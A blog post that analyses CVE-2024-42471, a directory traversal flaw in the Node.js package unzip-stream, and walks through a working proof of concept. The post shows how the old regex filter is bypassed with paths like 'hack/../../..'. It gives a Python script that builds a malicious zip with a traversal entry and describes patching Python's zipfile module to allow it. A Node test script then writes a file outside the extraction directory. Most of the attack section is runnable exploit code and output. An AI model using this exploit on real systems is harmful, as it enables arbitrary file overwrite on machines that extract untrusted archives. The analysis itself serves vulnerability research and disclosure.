CVE-2024-42471 - unzip-stream Vulnerability Ananlysis and PoC
Vulnerability anaylsis and PoC Development for CVE-2024-42471
Introduction
Zip it, unzip it — and boom, you’ve got unintended file writes on your hands.
In this post, we dive into a directory traversal vulnerability in the popular Node.js package unzip-stream
, specifically affecting versions before 0.3.2. When using the Extract()
method to decompress zip files, a specially crafted archive can escape the intended extraction directory and write files to arbitrary locations on the file system.
In this blog post, we’ll break down the bug and walk through a working proof-of-concept (PoC).
Vulnerability Analysis
After developing an exploit for CVE-2024-12905, I became curious about other file write or overwrite vulnerabilities that lacked a public proof-of-concept (PoC). During that exploration, I came across CVE-2024-42471.
Once again, I decided to roll up my sleeves and develop an exploit for this vulnerability. In this post, I’ll walk you through the process, from vulnerability analysis to crafting a working PoC that demonstrates the risks involved.
I started off by looking at the commit that fixed the vulnerability and basically the patch diff.
In Figure 1 we can see the commit and that line 291
was deleted and replaced.
Firstly, the entry.path
object in unzip-stream
determines the path of the file within the zip archive, and this path is then used by unzip-stream
to decide where to extract the file on the target system.
The original code (highlighted in red) relied on a regular expression to detect and remove directory traversal sequences. However, this approach was limited and prone to bypasses. To address this, the code was updated with a newer implementation (shown in green), which aims to handle the directory traversal issue more effectively.
To better understand how this regex behaves, we can use Regexr to test various payloads.
For instance, when testing the classic directory traversal pattern ../
, we immediately get a match:
Figure 1: Testing the regex filter
Upon further examination of the regex, I realized that it only matches strings that begin with the ../
pattern. This creates an opportunity for bypassing the filter by using alternative traversal strings, such as hack/../../../
, which the regex does not catch.
This bypass technique is demonstrated in Figure 2.
Figure 2: Bypassing the regex filter
As shown, this approach successfully bypasses the regex and allows for directory traversal, exposing the limitations of the old filtering mechanism.
This implies that an attacker can craft a zip file containing file paths with directory traversal strings. By doing so, they can manipulate the extraction process to point to files located outside the intended extraction directory, potentially overwriting sensitive files or causing other unintended behavior.
Exploit Development
I developed a working exploit using Python. The core idea is to modify the path of the file within the zip archive to include directory traversal sequences before packaging it. This tricks the vulnerable unzip-stream
extractor into writing files outside of the intended directory.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import zipfile
import os
file_path = './poc'
zip_name = 'evil.zip'
path_to_overwrite_file = 'home/mcsam/pocc'
if not os.path.isfile(file_path):
print(f"Error: File '{file_path}' does not exist.")
os.exit()
with zipfile.ZipFile(zip_name, 'w', zipfile.ZIP_DEFLATED) as zipf:
zipf.write(file_path, \
arcname=f'hack/../../../../../../../../../../../../../../{path_to_overwrite_file}')
print(f"File '{file_path}' has been zipped as '{zip_name}'.")
There’s an important issue we need to address. The built-in Python zipfile
library enforces a restriction that prevents arcnames
starting with alphanumeric characters from containing directory traversal sequences like ../
. FYI arcname is the name that will be used for the file within the archive.
Because of this limitation, I had to manually patch the zipfile.py
module to disable the validation check that enforces this behavior. This allowed me to create zip entries with traversal paths necessary for the exploit to work.
On my system the path to the file was: /usr/lib/python3.10/zipfile.py
. I commented out the check and the i run the exploit to craft the malicious zip file.
The contents of the zip file should look like this after running the exploit:
1
2
3
4
5
6
7
mcsam@0x32:~/Documents/slippy$ unzip -l evil.zip
Archive: evil.zip
Length Date Time Name
--------- ---------- ----- ----
15 2025-04-18 18:35 hack/../../../../../../../../../../../../../../home/mcsam/pocc
--------- -------
15 1 file
Verifying / Testing the Exploit
To test this PoC, we first set up a development environment and install the vulnerable version of unzip-stream
using:
1
npm install unzip-stream@0.3.1
Next, I crafted a simple test script (index.js
) that imports unzip-stream
and extracts the malicious archive:
1
2
3
4
const unzip = require('unzip-stream');
const fs = require('fs');
fs.createReadStream('evil.zip').pipe(unzip.Extract({ path: './hack' }));
After executing the script with:
1
node index.js
the payload is triggered, and the file /home/msam/pocc
is successfully overwritten — confirming the exploit works as intended.